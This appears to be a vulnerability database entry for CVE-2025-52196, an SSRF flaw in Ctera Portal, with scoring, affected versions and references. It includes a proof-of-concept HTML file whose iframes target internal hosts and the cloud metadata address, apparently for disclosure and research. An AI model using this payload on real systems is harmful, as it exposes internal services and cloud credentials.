CVE-2025-52196

Description

Server-Side Request Forgery (SSRF) vulnerability in Ctera Portal 8.1.x (8.1.1417.24) allows remote attackers to induce the server to make arbitrary HTTP requests via a crafted HTML file containing an iframe.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ctera:ctera:8.1.1417.24:*:*:*:*:*:*:* - VULNERABLE

Ctera Portal 8.1.x (8.1.1417.24)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-52196 PoC - SSRF via iframe in HTML -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-52196 PoC</title>
</head>
<body>
    <h1>SSRF Exploit via iframe</h1>
    
    <!-- Example 1: Basic SSRF to internal service -->
    <iframe src="http://localhost:8080/internal-api" width="100%" height="500"></iframe>
    
    <!-- Example 2: AWS EC2 Metadata Service -->
    <iframe src="http://169.254.169.254/latest/meta-data/" width="100%" height="500"></iframe>
    
    <!-- Example 3: Scan internal port -->
    <iframe src="http://192.168.1.1:22" width="100%" height="500"></iframe>
    
    <!-- Example 4: Access internal admin panel -->
    <iframe src="http://internal-admin.local/secret/admin.php" width="100%" height="500"></iframe>
    
    <script>
        console.log('CVE-2025-52196 PoC loaded');
        // The server will fetch these URLs via iframe src attributes
        // allowing SSRF attack against internal resources
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52196
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52196
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52196/
[4] VulDB https://vuldb.com/cve/CVE-2025-52196
[5] https://gist.github.com/simonecris/99baeb07fe6e1803d461e44031819cd3
[6] https://kb.ctera.com/docs/81x-portal

Raw JSON Data

JSON

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